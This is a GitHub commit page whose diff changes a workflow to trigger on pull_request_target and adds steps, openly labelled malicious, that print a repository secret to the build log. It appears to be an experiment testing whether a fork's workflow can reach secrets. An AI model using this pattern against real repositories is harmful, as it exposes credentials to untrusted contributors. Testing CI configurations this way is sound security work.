Skip to content

Commit f1d745a

Browse files
Update test-pr.yml
1 parent 7f17ac5 commit f1d745a

File tree

1 file changed

+7
-2
lines changed

1 file changed

+7
-2
lines changed

.github/workflows/test-pr.yml

Lines changed: 7 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -1,7 +1,7 @@
11
name: Test PR Behavior
22

33
on:
4-
pull_request:
4+
pull_request_target:
55

66
jobs:
77
test-pr:
@@ -12,6 +12,11 @@ jobs:
1212

1313
- name: Run script
1414
run: |
15-
echo "qwtrhedttwre45yer67i92356"
1615
chmod +x ./run.sh
1716
./run.sh
17+
echo "😈 This malicious step is defined in the FORK's workflow file."
18+
echo "It is trying to use 'pull_request_target' to gain access to secrets."
19+
echo "Attempting to exfiltrate secret..."
20+
# 直接尝试将secret打印到日志中,这是最简单的攻击
21+
# 如果这个workflow真的被执行,并且能访问secret,这行就会泄密
22+
echo "The secret is: ${{ secrets.MY_SECRET }}"

0 commit comments

Comments
 (0)